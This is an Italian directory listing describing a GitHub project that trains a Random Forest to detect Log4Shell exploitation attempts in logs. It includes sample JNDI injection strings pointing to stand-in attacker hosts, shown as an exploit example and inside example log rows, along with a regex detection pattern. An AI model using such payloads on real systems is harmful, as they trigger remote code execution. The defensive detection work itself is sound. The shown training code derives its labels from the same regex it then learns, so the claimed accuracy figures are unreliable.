Directory degli strumenti
Categorie
Strumenti / GitHub / yadavmukesh / log4shell-vulnerability-cve-2021-44228- yadavmukesh/log4shell-vulnerability-cve-2021-44228-
Log4Shell-vulnerability-CVE-2021-44228- Questo repository fornisce un'analisi approfondita della vulnerabilità Log4Shell (CVE-2021-44228) e implementa un approccio basato sull'apprendimento automatico per rilevare tentativi di sfruttamento nei dati di log.
3 1 anno faScopri gli strumenti più utilizzati dalla nostra community.
Ultimi 7 Giorni Ultimi 30 Giorni
Rilevamento della minaccia Log4Shell (CVE-2021-44228)
Panoramica
Questo repository fornisce un'analisi approfondita e l'implementazione di un Sistema di Rilevamento della Minaccia Log4Shell (CVE-2021-44228) basato su Machine Learning . Include:
Comprendere Log4Shell : Cos'è e perché è pericoloso
Raccolta del Dataset : Fonti e fasi di pre-elaborazione
Ingegneria delle Feature : Estrazione di pattern dannosi basati su JNDI
Addestramento del Modello di Machine Learning : Rilevamento basato su Random Forest
Risultati e Analisi : Metriche di prestazione e grafici di valutazione
Conclusioni e Lavori Futuri
Panoramica della Minaccia - Log4Shell (CVE-2021-44228)
Vulnerabilità: Esecuzione di Codice Remoto (RCE) in Apache Log4j 2
Esempio di Sfruttamento:
${jndi:ldap://malicious-server.com/exploit}
Impatto: Permette agli attaccanti di prendere il controllo completo dei sistemi affetti
Mitigazione: Aggiornare Log4j alle versioni corrette (2.17.0 o successive) e applicare regole firewall
Struttura del Repository
📂 Log4Shell-Threat-Detection
│── 📄 README.md
│── 📂 datasets
│ ├── log4shell_logs.csv (50 MB)
│ ├── benign_logs.csv (30 MB)
│── 📂 scripts
│ ├── feature_extraction.py
│ ├── log_preprocessing.py
│ ├── model_training.py
│ ├── model_evaluation.py
│── 📂 results
│ ├── log4shell_model.pkl
│ ├── evaluation_metrics.json
│ ├── detection_results.csv
│ ├── graphs/
│── 📂 reports
│ ├── Log4Shell_Threat_Detection_Report.pdf
│── 📂 resources
│ ├── references.txt
│── 📄 requirements.txt
│── 📄 LICENSE
Raccolta Dati e Fonti
Dataset Utilizzati:
Descrizione del Dataset
Dimensione Totale del Dataset: 80 MB
Dati di Addestramento: 70% (56 MB)
Dati di Test: 30% (24 MB)
Log Totali: 1.000.000
Log Dannosi: 300.000
Log Benigni: 700.000
Dataset di Log di Esempio (log4shell_logs.csv) Timestamp IP Sorgente IP Destinazione Richiesta Codice Stato User-Agent Messaggio Log 2023-02-01 12:10:25 192.168.1.5 45.33.32.156 GET /api/login 200 curl/7.64 ${jndi:ldap://malicious.com/exploit} 2023-02-01 12:11:10 172.16.10.3 132.154.23.1 POST /data 500 Java/1.8.0 Messaggio di Log Normale 2023-02-01 12:12:45 10.10.10.5 203.0.113.7 GET /search 403 Mozilla/5.0 ${jndi:dns://evil.com/exploit}
Ingegneria delle Feature
Normalizzazione dei Log : Convertire timestamp, estrarre campi
Estrazione di Feature basata su Regex : Identificare pattern jndi, ldap, rmi e dns
Vettorizzazione del Testo : Trasformazione delle feature basata su TF-IDF
Modello di Machine Learning per il Rilevamento delle Minacce
Algoritmo: Classificatore Random Forest
Metriche di Valutazione: Accuratezza, Precisione, Richiamo, Punteggio F1
Codice Python per l'Addestramento del Modello import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report
# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")
# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)
# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]
# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)
# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)
# Predictions
y_pred = clf.predict(X_test)
# Model Evaluation
print(classification_report(y_test, y_pred))
Risultati e Analisi delle Prestazioni
Risultati dei Test:
Precisione: 98%
Richiamo: 95%
Punteggio F1: 96%
Tasso di Falsi Positivi: 3%
Confronto con i Lavori Esistenti:
I sistemi SIEM tradizionali basati su regole hanno 80-85% di accuratezza .
Il nostro approccio basato su ML raggiunge 96% di accuratezza , migliorando significativamente i tassi di rilevamento.
Rispetto ai metodi basati su Deep Learning , il nostro modello Random Forest è più veloce e interpretabile pur raggiungendo una precisione simile.
Curva Precisione-Richiamo
Matrice di Confusione
Conclusioni e Lavori Futuri
Conclusione:
Il modello Random Forest rileva efficacemente le minacce Log4Shell con alta precisione.
L'estrazione delle feature tramite riconoscimento dei pattern JNDI migliora l'accuratezza.
I log del mondo reale possono contenere elusioni avversariali, richiedendo ulteriore ottimizzazione.
Lavori Futuri:
Implementare deep learning (modelli basati su LSTM, Transformer) per il rilevamento di anomalie.
Integrare pipeline di elaborazione dei log in tempo reale (ad es., stack ELK, Apache Kafka).
Estendere il rilevamento ad altre vulnerabilità CVE basate su log .
Come Usare
Clona il repository:
git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
cd Log4Shell-Threat-Detection
Installa le dipendenze:
pip install -r requirements.txt
Esegui lo script di addestramento del modello:
python scripts/model_training.py
Analizza i risultati del rilevamento nella cartella results/.